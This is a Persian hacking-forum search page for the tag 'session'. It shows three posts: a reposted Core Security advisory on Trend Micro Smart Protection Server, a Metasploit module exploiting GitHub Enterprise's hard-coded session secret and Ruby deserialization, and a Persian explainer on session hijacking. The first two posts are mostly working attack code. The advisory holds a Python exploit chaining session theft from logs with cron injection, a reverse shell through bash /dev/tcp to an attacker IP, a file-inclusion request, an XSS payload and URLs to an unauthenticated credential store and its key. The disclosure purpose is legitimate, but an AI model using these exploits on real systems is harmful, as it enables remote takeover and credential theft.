رفتن به مطلب

جستجو در تالارهای گفتگو

در حال نمایش نتایج برای برچسب های 'session'.



تنظیمات بیشتر جستجو

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


تالارهای گفتگو

  • AnonySec
    • قوانین و اساسنامه ی انجمن
    • آخرین خبرها
    • اطلاعیه ها
    • مدیران
    • دوره های آموزشی
    • انتقادات پیشنهادات
  • آموزش های تخصصی
    • برنامه نویسی
    • هکینگ
    • امنیت
    • شبکه
    • سخت افزار
    • متفرقه
  • پروژه های شرکت
    • پروژه های نفوذ به سایت
    • پروژه های ساخت نرم افزار
    • پروژه های ساخت سایت
  • مسابقات
    • مسابقات امنیت و هکینگ
    • مسابقات برنامه نویسی
    • مسابقات کرکینگ
  • پرسش و پاسخ (FAQ)
    • سوالات و مشکلات پیرامون برنامه نویسی
    • سوالات و مشکلات پیرامون هکینگ
    • سوالات و مشکلات پیرامون امنیت
    • سوالات و مشکلات پیرامون شبکه
    • سوالات و مشکلات پیرامون سخت افزار
    • سوالات و مشکلات پیرامون سیستم عامل
    • سوالات و درخواست های متفرقه
  • سیستم عامل
    • ویندوز
    • لینوکس
    • کالی لینوکس
    • اندروید
    • اپل
  • بخش ویژه (مخصوص اعضای ویژه)
    • هکینگ
    • امنیت
    • شبکه
    • متفرقه
  • عمومی
    • توسعه دهندگان
    • ترفند های متفرقه
    • گرافیک
    • ربات تلگرام
  • بحث آزاد علمی
    • عمران و معماری
    • الکتروتکنیک
    • کتابخانه سراسری
  • بخش دریافت
    • دانلود نرم افزار
  • آرشیو
    • بایگانی

دسته ها

  • Articles

4 نتیجه پیدا شد

  1. # Trend Micro Smart Protection Server Multiple Vulnerabilities ## 1. Advisory Information **Title:**: Trend Micro Smart Protection Server Multiple Vulnerabilities **Advisory ID:** CORE-2017-0008 **Advisory URL:** http://www.coresecurity.com/advisories/trend-micro-smart-protection-server-multiple-vulnerabilities **Date published:** 2017-12-19 **Date of last update:** 2017-12-11 **Vendors contacted:** Trend Micro **Release mode:** Coordinated release ## 2. Vulnerability Information **Class:** Information Exposure Through Log Files [[CWE-532](http://cwe.mitre.org/data/definitions/532.html)], Improper Neutralization of Special Elements used in an OS Command [[CWE-78](http://cwe.mitre.org/data/definitions/78.html)], Improper Control of Filename for Include/Require Statement in PHP Program [[CWE-98](http://cwe.mitre.org/data/definitions/98.html)], Improper Neutralization of Input During Web Page Generation [[CWE-79](http://cwe.mitre.org/data/definitions/79.html)], Improper Authorization [[CWE-285](http://cwe.mitre.org/data/definitions/285.html)] **Impact:** Code execution **Remotely Exploitable:** Yes **Locally Exploitable:** Yes **CVE Name:** [CVE-2017-11398](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-11398), [CVE-2017-14094](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14094), [CVE-2017-14095](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14095), [CVE-2017-14096](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14096), [CVE-2017-14097](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14097) ## 3. Vulnerability Description Trend Micro's website states that: Trend Micro Smart Protection Server [(http://cwe.mitre.org/data/definitions/532.html)(https://www.coresecurity.com#SPS)] is a next-generation, in-the-cloud based, advanced protection solution. At the core of this solution is an advanced scanning architecture that leverages malware prevention signatures that are stored in-the-cloud. This solution leverages file reputation and Web reputation technology to detect security risks. The technology works by off loading a large number of malware prevention signatures and lists that were previously stored on endpoints to Trend Micro Smart Protection Server. Multiple vulnerabilities were found in the Smart Protection Server's Administration UI that would allow a remote unauthenticated attacker to execute arbitrary commands on the system. ## 4. Vulnerable Packages * Trend Micro Smart Protection Server 3.2 (Build 1085) Other products and versions might be affected, but they were not tested. ## 5. Vendor Information, Solutions and Workarounds Trend Micro published the following patches: * TMSPS3.0 - Critical Patch B1354 ([link](http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=4556®s=NABU&lang_loc=1#fragment-4628)) * TMSPS3.1 - Critical Patch B1057 ([link](http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=4974®s=NABU&lang_loc=1#fragment-5030)) ## 6. Credits These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. ## 7. Technical Description / Proof of Concept Code In section 7.1 we describe how an unauthenticated attacker could get a session token to perform authenticated requests against the application. Sections 7.2 and 7.3 describe two vectors to achieve remote command execution in the context of the Web application. Several public privilege escalation vulnerabilities exist that are still unpatched. In combination with the aforementioned vulnerabilities a remote unauthenticated attacker would be able to execute arbitrary system commands with root privileges. Sections 7.4 and 7.5 cover other common Web application vulnerabilities found in the product's console. ### 7.1 Session hijacking via log file disclosure [[CVE-2017-11398](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-11398)] The application stores diagnostic logs in the /widget/repository/log/diagnostic.log file. Performing a login or some basic browsing will write several entries with the following format: ``` 2017-08-18 17:00:38,468,INFO,rti940901j0556161dudhj6805,null, Notice: Undefined index: param in /var/www/AdminUI/widget/inc/class/common/db/GenericDao.php on line 218 ``` Each log entry leaks the associated session ID next to the log alert level and can be accessed via HTTP without authenticating to the Web application. Therefore, an unauthenticated attacker can grab this file and hijack active user sessions to perform authenticated requests. ### 7.2 Remote command execution via cron job injection [[CVE-2017-14094](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14094)] The script admin_update_program.php is responsible for creating a cron job when software updates are scheduled. The HTTP request contains several parameters that are used without sanitization as part of the cron job created at /var/spool/cron/webserv. We will target the hidTimingMin parameter. File /var/www/AdminUI/php/admin_update_program.php: ``` if ($_SERVER['REQUEST_METHOD'] == 'POST'){ [...] $arr_au['Program']['AUScheduleTimingMin']= isset($_POST["hidTimingMin"])?$_POST["hidTimingMin"]:"0"; [...] if ( $arr_au['Program']['UseAUSchedule'] == "1"){ if ( $arr_au['Program']['AUScheduleType'] == "0" ){ $crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'], $arr_au['Program']['AUScheduleTimingHour'], "*", "*", "*"); }else { $crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'], $arr_au['Program']['AUScheduleTimingHour'], "*", "*", $arr_au['Program']['AUScheduleTimingDay']); } $crontab->setCommand("/usr/tmcss/bin/UpdateManage.exe --Program --Schedule > /dev/null 2>&1"); $crontab->saveCronFile(); } if(! $crontab->addToCrontab()){ header( 'Location: admin_update_program.php?status=savecrontaberror&sid='.$session_name ) ; exit; } ``` File /var/www/AdminUI/php/inc/crontab.php: ``` function setDateParams($min=NULL, $hour=NULL, $day=NULL, $month=NULL, $dayofweek=NULL){ if($min=="0") $this->minute=0; elseif($min) $this->minute=$min; else $this->minute="*"; if($hour=="0") $this->hour=0; elseif($hour) $this->hour=$hour; else $this->hour="*"; $this->month=($month) ? $month : "*"; $this->day=($day) ? $day : "*"; $this->dayofweek=($dayofweek != NULL) ? $dayofweek : "*"; } function saveCronFile(){ $command=$this->minute." ".$this->hour." ".$this->day." ".$this->month." ".$this->dayofweek." ".$this->command."n"; if(!fwrite($this->handle, $command)) return true; else return false; } function addToCrontab(){ if(!$this->filename) exit('No name specified for cron file'); $data=array(); exec("crontab ".escapeshellarg($this->directory.$this->filename),$data,$ret); if($ret==0) return true; else return false; } ``` The following python script creates a cron job that will run an arbitrary command on every minute. It also leverages the session hijacking vulnerability described in 7.1 to bypass the need of authentication. ``` #!/usr/bin/env python import requests import sys def exploit(host, port, command): session_id = get_session_id(host, port) print "[+] Obtained session id %s" % session_id execute_command(session_id, host, port, command) def get_session_id(host, port): url = "https://%s:%d/widget/repository/log/diagnostic.log" % (host, port) r = requests.get(url, verify=False) for line in r.text.split('n')[::-1]: if "INFO" in line or "ERROR" in line: return line.split(',')(http://cwe.mitre.org/data/definitions/98.html) def execute_command(session_id, host, port, command): print "[+] Executing command '%s' on %s:%d" % (command, host, port) url = "https://%s:%d/php/admin_update_program.php?sid=%s" % (host, port, session_id) multipart_data = { "ComponentSchedule": "on", "ComponentScheduleOS": "on", "ComponentScheduleService": "on", "ComponentScheduleWidget": "on", "useAUSchedule": "on", "auschedule_setting": "1", "update_method": "1", "update_method3": "on", "userfile": "", "sid": session_id, "hidComponentScheduleOS": "1", "hidComponentScheduleService": "1", "hidComponentScheduleWidget": "1", "hidUseAUSchedule": "1", "hidScheduleType": "1", "hidTimingDay": "2", "hidTimingHour": "2", "hidTimingMin": "* * * * * %s #" % command, "hidUpdateOption": "1", "hidUpdateNowFlag": "" } r = requests.post(url, data=multipart_data, cookies={session_id: session_id}, verify=False) if "MSG_UPDATE_UPDATE_SCHEDULE" in r.text: print "[+] Cron job added, enjoy!" else: print "[-] Session has probably timed out, try again later!" if __name__ == "__main__": exploit(sys.argv(http://cwe.mitre.org/data/definitions/532.html), int(sys.argv(http://cwe.mitre.org/data/definitions/78.html)), sys.argv(http://cwe.mitre.org/data/definitions/98.html)) ``` The following proof of concept opens a reverse shell to the attacker's machine. ``` $ python coso.py 192.168.45.186 4343 'bash -i >& /dev/tcp/192.168.45.80/8888 0>&1' [+] Obtained session id q514un6ru6stcpf3k0n4putbd3 [+] Executing command 'bash -i >& /dev/tcp/192.168.45.80/8888 0>&1' on 192.168.45.186:4343 [+] Cron job added, enjoy! $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.45.186] port 8888 [tcp/*] accepted (family 2, sport 59508) bash: no job control in this shell [[email protected] localhost ~]$ ``` ### 7.3 Remote command execution via local file inclusion [[CVE-2017-14095](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14095)] The /widget/inc/widget_package_manager.php script passes user provided input to the PHP require_once function without sanitization. However, there are some restrictions that need to be overcome in order to include arbitrary files, as the application appends PoolManager.php at the end of the filename. File /var/www/AdminUI/widget/inc/widget_package_manager.php: ``` switch($widgetRequest['act']){ case "check": try{ // $strUpdateType = widget, configure_widget_and_widget_component $strUpdateType = isset($widgetRequest['update_type']) ? $widgetRequest['update_type'] : 'widget'; $strFuncName = 'is'.WF::getTypeFactory()->getString()->getUpperCamelCase($strUpdateType).'Update'; $isUpdate = WF::getWidgetPoolFactory()->getWidgetPoolManager($strUpdateType)->$strFuncName(); [...] ``` File /var/www/AdminUI/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php: ``` public function getWidgetPoolManager($strUpdateType = 'widget'){ if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){ $strFileName = $this->objFramework->getTypeFactory()->getString()->getUpperCamelCase($strUpdateType); require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php'); $strClassName = 'WF'.$strFileName.'PoolManager'; self::$instance[__FUNCTION__][$strUpdateType] = new $strClassName($this->objFramework); } return self::$instance[__FUNCTION__][$strUpdateType]; } ``` One way for an attacker to place an arbitrary file on the system is to abuse the update process that can be managed from the same product console. Files downloaded from alternate update sources are stored in the /var/tmcss/activeupdate directory. An attacker can setup a fake update server and trigger an update from it to download the malicious archive. As an example, we have packed a reverse shell named rshellPoolManager.php into the bf1747402402.zip archive. The following server.ini would instruct the application to download the archive and uncompress it inside /var/tmcss/activeupdate: ``` ; ======================================= ; ActiveUpdate 1.2 US ; ; Filename: Server.ini ; ; New Format AU 1.8 ; ; Last modified by AUJP1 10/14/2015 ; ======================================= [Common] Version=1.2 CertExpireDate=Jul 28 08:52:40 2019 GMT [Server] AvailableServer=1 Server.1=http://<serverIP>:1080/ AltServer=http://<serverIP>:1080/ Https=http://<serverIP>:1080/ [PATTERN] P.48040039=pattern/bf1747402402.zip,1747402402,257 ``` After triggering an update from the Web console, the PHP script is written to the expected location. ``` [[email protected] localhost activeupdate]# ls -lha /var/tmcss/activeupdate/ | grep php -rw-r--r--. 1 webserv webserv 66 ago 25 22:59 rshellPoolManager.php ``` The final step is to include the script and execute our payload. ``` POST /widget/inc/widget_package_manager.php?sid=dj0efdmskngvt4lbhakgc6cru7 HTTP/1.1 Host: 192.168.45.186:4343 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: application/json Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest X-Request: JSON X-CSRFToken: dj0efdmskngvt4lbhakgc6cru7 Content-Type: application/json; charset=utf-8 Content-Length: 122 Cookie: dj0efdmskngvt4lbhakgc6cru7=dj0efdmskngvt4lbhakgc6cru7 Connection: close {"act": "check", "update_type": "../../../../../../../../../var/tmcss/activeupdate/rshell"} ``` Steven Seeley and Roberto Suggi Liverani presented various privilege escalation vectors to move from webserv to root on their presentation "I Got 99 Trends and a # Is All Of Them". Based on our testing the attacks remain unpatched, so we did not try to find additional ways to escalate privileges. ### 7.4 Stored cross-site scripting [[CVE-2017-14096](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14096)] The ru parameter of the wcs_bwlists_handler.php script is vulnerable to cross-site scripting. This endpoint is used to manage user defined URLs. After the rule is inserted, the payload will be executed every time the user opens the user defined URLs section. The following proof of concept stores code to open an alert box. ``` https://<serverIP>:4343/php/wcs_bwlists_handler.php?sid=2f03bf97fc4912ee&req=mgmt_insert&st=1&ac=0&ru=http%3A%2F%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E&rt=3&ipt=0&ip4=&ip4m=128&cn=&dn= ``` ### 7.5 Improper access control [[CVE-2017-14097](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14097)] The product console includes widgets that can be used to monitor other servers. Credentials to access the servers being monitored, widget logs and other information reside on a SQLite database which can be accessed without authentication at the following URL: ``` https://<serverIP>:4343/widget/repository/db/sqlite/tmwf.db ``` The credentials are stored using AES256 with a dynamic key. However, the key is also placed inside the Web server directories and available for download without authentication. ``` https://<serverIP>:4343/widget/repository/inc/class/common/crypt/crypt.key ``` This would allow an attacker to decrypt the contents of the database, rendering the encryption mechanism useless. ## 8 Report Timeline * **2017-09-04: **Core Security sent an initial notification to Trend Micro, including a draft advisory. * **2017-10-02: **Core Security asked for an update on the vulnerability reported. * **2017-10-02: ** Trend Micro stated they are still in the process of creating the official fix for the vulnerabilities reported. ETA for the fix should be end of this month (October) * **2017-11-13: **Core Security requested a status on the timeline for fixing the reported vulnerabilities since the original ETA was not accomplished. * **2017-11-14: ** Trend Micro stated they are still working on the Critical Patch and found problems along the way. Patch is now in QA. * **2017-11-20: ** Trend Micro informed availability for the fixes addressing 5 out of the 6 vulnerabilities reported. They stated one of the reported vulnerabilities is on a table where the SQL query is allowed and 'does not cause anything leaking'. Still in the process of localizing the critical patches for other regions. Will let us know when everything is covered in order to set a disclosure date. * **2017-11-21: **Core Security thanked the update and agreed on removing one of the reported vulnerabilities. * **2017-12-05: ** Trend Micro provided the CVE-ID for all the vulnerabilities reported and proposed the public disclosure date to be December 14th. * **2017-12-06: **Core Security thanked the update and proposed public disclosure date to be Tuesday December 19th @ 12pm EST. * **2017-12-19: ** Advisory CORE-2017-0008 published. ## 9 References http://cwe.mitre.org/data/definitions/532.html ## 10 About CoreLabs CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: . ## 11 About Core Security Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [[email protected]](mailto:info%40coresecurity.com) ## 12 Disclaimer The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License:
  2. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability", 'Description' => %q{ This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6. The first is that the session management uses a hard-coded secret value, which can be abused to sign a serialized malicious Ruby object. The second problem is due to the use of unsafe deserialization, which allows the malicious Ruby object to be loaded, and results in arbitrary remote code execution. This exploit was tested against version 2.8.0. }, 'License' => MSF_LICENSE, 'Author' => [ 'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!) 'sinn3r' # Porting the PoC to Metasploit ], 'References' => [ [ 'EDB', '41616' ], [ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ], [ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version ], 'Platform' => 'linux', 'Targets' => [ [ 'Github Enterprise 2.8', { } ] ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443 }, 'Privileged' => false, 'DisclosureDate' => 'Mar 15 2017', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/']) ], self.class) end def secret '641dd6454584ddabfed6342cc66281fb' end def check uri = normalize_uri(target_uri.path, 'setup', 'unlock') res = send_request_cgi!({ 'method' => 'GET', 'uri' => uri, 'vars_get' =>{ 'redirect_to' => '/' } }) unless res vprint_error('Connection timed out.') return Exploit::CheckCode::Unknown end unless res.get_cookies.match(/^_gh_manage/) vprint_error('No _gh_manage value in cookie found') return Exploit::CheckCode::Safe end cookies = res.get_cookies vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...") gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first) data = gh_manage_value.split('--').first hmac = gh_manage_value.split('--').last.split(';', 2).first vprint_status("Data: #{data.gsub(/\n/, '')}") vprint_status("Extracted HMAC: #{hmac}") expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data) vprint_status("Expected HMAC: #{expected_hmac}") if expected_hmac == hmac vprint_status("The HMACs match, which means you can sign and tamper the cookie.") return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def get_ruby_code b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin" bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin" register_file_for_cleanup(b64_fname, bin_fname) p = Rex::Text.encode_base64(generate_payload_exe) c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; " c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); " c << "%x(chmod +x #{bin_fname}); " c << "%x(#{bin_fname})" c end def serialize # We don't want to run this code within the context of Framework, so we run it as an # external process. # Brilliant trick from Brent and Adam to overcome the issue. ruby_code = %Q| module Erubis;class Eruby;end;end module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end erubis = Erubis::Eruby.allocate erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\" proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate proxy.instance_variable_set :@instance, erubis proxy.instance_variable_set :@method, :result proxy.instance_variable_set :@var, "@result" session = { 'session_id' => '', 'exploit' => proxy } print Marshal.dump(session) | serialized_output = `ruby -e "#{ruby_code}"` serialized_object = [serialized_output].pack('m') hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object) return serialized_object, hmac end def send_serialized_data(dump, hmac) uri = normalize_uri(target_uri.path) gh_manage_value = CGI.escape("#{dump}--#{hmac}") cookie = "_gh_manage=#{gh_manage_value}" res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'cookie' => cookie }) if res print_status("Server returned: #{res.code}") end end def exploit dump, hmac = serialize print_status('Serialized Ruby stager') print_status('Sending serialized Ruby stager...') send_serialized_data(dump, hmac) end end =begin Handy information: To deobfuscate Github code, use this script: https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42 Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this algorithm: * Takes the session hash (Json) in env['rack.session'] * Marshal.dump the hash into a string * Base64 the string * Append a hash of the data at the end of the string to prevent tampering. * The signed data is saved in _gh_manage' The format looks like this: [ DATA ]--[ Hash ] Also see: https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb =end
  3. مباحث مربوط به انواع حملاتی که ممکن است شبکه شما را دچار اختلال کند و دسته‌بندی خاص آن‎ها، امروز نوع حملات مرتبط با موضوع session hijacking و بصورت ریزتر Application-level Session Hijacking و حملات زیر شاخه آن را مورد بررسی قرار میدهیم. Application-level Session Hijacking در session hijacking attack، یک توکن معتبر از طریق پیش بینی و یا سرقت آن مورد تهدید قرار می‌گیرد که این کار به منظور بدست آوردن حق دسترسی غیر مجاز به وب سرور است. همانطور که میدانید، حمله Session Hijacking به دو طریق صورت میپذیرد؛ network-level و Application-level. با استفاده از Network-level hijacking اطلاعات مفیدی بدست می‌آید که از آن میتوان برای انجام یک حمله Application-level hijacking استفاده لازم را برد. بنابراین Network-level و Application-level hijacking در اکثر حالات با یکدیگر اتفاق می‌افتند. Application-level hijacking شامل در اختیار گرفتن کنترل یک session موجود یا ایجاد یک session جدید بر اساس اطلاعات سرقت شده توسط Network-level hijacking است. Application-level hijacking در خلال یک HTTP session رخ میدهد. HTTP session ها براحتی با لو رفتن session ID های مربوطه ( شناسه های منحصربفردشان) قابل سرقت هستند. Application-level session hijacking از راه های مختلفی میتواند یک session token را بخطر اندازد که در زیر به مهترین آن ها اشاره میکنیم: پیش بینی session token حملات Man-in-the-middle حملات Client-side (کدهای آلوده جاوا اسکریپت، XSS، تروجان و ... ) حملات Man-in-the-browser شنود Session Session Sniffing باید گفت که زمانی که ترافیک HTTP بصورت رمز نشده ارسال میشوند، انجام این روش بسیار ساده است. ترافیک HTTP ممکن است دربردارنده session ID ها باشد. مهاجمان با استفاده از شنود ارتباط، ترافیک HTTP را ضبط کرده و سپس آن را برای بدست اوردن session ID ها آنالیز میکنند. اگر ترافیک رمز نشده باشد، پیش بینی session ID ها بسیار ساده خواهد بود. گفتنی است که session رمز نشده ممکن است در دل خود اطلاعات مربوط به شناسه کاربری و پسورد را نیز داشته باشد.شکل زیر توضیحات ارائه شده را با رسم دیاگرام توضیح میدهد: در ابتدا مهاجم ترافیک HTTP بین قربانی و وب سرور را شنود، دیتای کپچر شده را آنالیز و نهایتا session ID را پیش بینی میکند. سپس مهاجم خودش را در نقش قربانی جعل کرده و session ID را قبل از آن که قربانی بتواند کاری انجام دهد، به وب سرور ارسال میکند. بنابراین مهاجم براحتی کنترل session موجود را بدست میگیرد. پیش بینی session token پیش بینی session token یا همان session ID شیوه ای از ربودن یا جعل هویت یک کاربر وب سایت است. این روش به session hijacking نیز معروف است. پایه و اساس این روش بر حدس زدن و یا ایجاد یک ارزش منحصربفرد مثل session ID ای که در احراز هویت یک کاربر یا یک session خاص کاربرد دارد، بنیان نهاده شده است. با استفاده از تکنیک session hijacking، یک مهاجم میتواند با دردست داشتن حق دسترسی یک کاربر بخطر افتاده درخواست های ping برای وب سایت مورد نظر ارسال کند.هنگامی که کاربر درخواست برقراری ارتباط را برای وب سایت ارسال کرد، وب سایت در ابتدا سعی میکند احراز هویت را انجام دهد و هویت کاربر را بررسی کند. تا زمانی که کاربر نتواند هویت خود را برای وب سایت اثبات نماید، وب سایت اطلاعات درخواست شده را به کاربر تحویل نمیدهد. وب سایت ها معمولا کاربران را بر اساس ترکیبی از شناسه کاربری و پسورد احراز هویت میکنند. پس از آن که هویت کاربر برای وب سایت محرز شد، وب سایت یک session ID منحصربفرد را برای کاربر ایجاد میکند. این session ID نشان میدهد که session ایجاد شده برای کاربر، احراز هویت شده است. به منظور تداوم هویت تائید شده کاربر برای وب سایت، session ID به ارتباط بعدی بین آندو نیز الصاق میشود. اگر مهاجم بتواند session ID را با حدس زدن و پیش بینی بدست آورد، توانسته است session ایجاد شده را بخطر بیاندازد. چگونه یک session token را پیش بینی میشود؟ اکثر وب سرورها از الگوریتم های معمول یا از پیش تغریف شده برای ایجاد session ID هایشان استفاده میکنند. این الگوریتم ها ممکن است session ID ها را براساس افزایش غیرخودکار اعداد و یا استفاده از روشهایی پیچیده تر مثل دخیل نمودن فاکتورهای زمان و دیگر متغیرها، ایجاد نمایند. هنگامی که session ID محاسبه شد، در URL، در یک فرم مخفی یا در یک کوکی ذخیره خواهد شد. در چنین مواردی، چنانچه مهاجم بتواند الگوریتم مورد استفاده را بدست آورد، براحتی مدیریت session ID را بر عهده خواهد گرفت. راه های ممکن که مهاجم بتواند حمله را ترتیب دهد ازطرق زیر امکان پذیر است: ایجاد ارتباط با نرم افزار وب و بدست آوردن session ID Brute forcing و یا محاسبه session ID بعدی تغیر مقدار فعلی session ID ذخیره شده در URL فرم مخفی کوکی با فرض هویت کاربر بعدی مهاجم session ID های متعدد را رصد کرده و سپس آن ها را به قصد پیدا کردن یک الگو، آنالیز میکند: در 25 سپتامبر 2010 و در ساعت 16:25:55، مهاجم موفق به پیش بینی session ID میشود: حملات Man-in-the-middle این حمله نوعی از حمله است که در آن مهاجمان در یک ارتباط موجود بین دو سیستم اختلال ایجاد کرده تا زنجیره پیغام های رد وبدل شده را قطع کرده و اطلاعات دلخواه خودشان را در آن تزریق کنند. در این حالت قربانی بر این گمان است که مستقیما با طرف مورد مظرش تبادل اطلاعات دارد اما واقعیت ان است که تمام اطلاعات رد و بدل شده توسط مهاجم کنترل میشود. عملکردهای مختلف این حمله شامل جاسوسی در یک ارتباط، اخلال در یک ارتباط، قطع پیغام ها و ویرایش دیتاها میباشد.در اینجا برای نمونه یک تراکنش HTTP را در نظر میگیریم. در این حالت بین کلاینت و سرور ارتباط TCP برقرار است. کاری که مهاجم انجام میدهد شکافتن این ارتباط TCP موجه به دو ارتباط مجزا با تکنیک های مختلف بین کلاینت و سرور است. این دو ارتباط مجزا ارتباط کلاینت با مهاجم و ارتباط مهاجم با سرور است. پس از قطع موفقیت آمیز ارتباط TCP، مهاجم قادر به خواندن، ویرایش و تزریق اطلاعات غلط به ارتباط قطع شده است. بخاطر ذات پروتکل HTTP و همچنین مکانیزم تبادل دیتا که همگی بر اساس ASCII هستند، حمله Man-in-the-middle بسیار موثر و کاراست. در این روش امکان مشاهده اطلاعات ترانسفر شده از طریق پروتکل HTTP وجود دارد. حملات Man-in-the-Browser این حمله شبیه حمله Man-in-the-middle است. تفاوت بین این دو تکنیک آن است که حمله Man-in-the-Browser از تروجان برای مداخله و دستکاری صحبت های رد و بدل شده بین مرورگر و مکانیزم امنیتی یا دیتابیس آن است. این حمله از تروجانی که بر روی سیستم نصب شده است برای مداخله در مرورگر و مکانیزم امنیتی آن استفاده میکند. این تکنیک قابلیت ویرایش و شنود تراکنش ها را دارد. مهمترین هدف این حمله سرقت مالی توسط دستکاری تراکنش های در بانکداری اینترنتی است. در این روش مهاجمان میتوانند اطلاعات حساس یا پول را بدون بجا گذاشتن کوچکترین اثر و یا آلارمی سرقت کنند. و تمام این ها در حالتی اتفاق میافتد که تمام تراکنش ها در بستر SSL صورت میپذیرد. تمام مکانیزم های امنیتی ظاهرا نرمال هستند. بنابراین برای پیشگیری از قربانی شدن در این حمله باید هنگام استفاده از تراکنش های اینترنتی بانک خود حساس و باهوش عمل کرد. مراحل اجرای یک حمله Man-in-the-Browser تروجان در ابتدا نرم‌افزار کامپیوتر( سیستم عامل یا اپلیکیشن) را تحت تاثیر خود قرار میدهد. بعد از آن که کاربر مرورگر را ریست کرد، کد آلوده در قالب فایل هایی بارگذاری میشود. هنگامی که وب‌پیج لود شد، فایل حاوی کد آلوده (extension)، از URL استفاده کرده و آن را با لیست سایت های تعریف شده برای حمله که از پیش برایش تعریف شده است، چک میکند. Extension هنگامی که پیج خاص لود شده با بررسی چک لیست برای حمله تائید شد، یک دکمه کنترل کننده را رجیستر میکند. تروجان کد آلوده ( فایل های extension) را نصب کرده و آن را در ساختار مرورگر ذخیره میکند. فایل های extension یک کنترل کننده را برای هر بازدید از وب پیج رجیستر میکنند. کاربر بصورت امن به وب سایت Logon میکند. مرورگر فرم و مقادیر ویرایش شده را به سرور ارسال میکند. هنگامی که کاربر بر روی دکمه کنترل کننده کلیک میکند، extension با کمک DOM interface تمام اطلاعات را از بخش های مختلف فرم بازیابی کرده و آن ها را ویرایش میکند. بعد از آن که سرور تراکنش را انجام داد، یک رسید دیجیتالی صادر میشود. مرورگر رسید دیجیتالی را با جزئیات اصلی اش نشان میدهد. سرور مقادیر تغیر داده شده را دریافت میکند اما نمیتواند بین مقادیر اصلی و ویرایش شده، تمایز قائل شود. در این صورت مرورگر رسید دیجیتالی مربوط به مقادیر اصلاح شده را دریافت میکند. کاربر فکر میکند که تراکنش انجام شده با سرور بدون هیچگونه خللی انجام شده است. حملات Client-side در این نوع حمله مهاجم سعی میکند تا از آسیب پذیری های موجود در اپلیکیشن کلاینت نهایت استفاده را برده و از طریق اجبار آن به برقراری ارتباط با سرور آلوده یا اجبار به پردازش اطلاعات آلوده به هدف خود برسد.در حالت اول یعنی هنگامی که کاربر با سرور تعامل و ارتباط برقرار میکند، شانس زیادی در اجرای این حمله وجود دارد. اگر کلاینت با سرور ارتباطی نداشته باشد، آنگاه اطلاعات آلوده نیز نمیتوانند از طرف سرور به کلاینت فرستاده شوند. بنابراین اپلیکیشن از حمله و آلودگی در امان میماند. 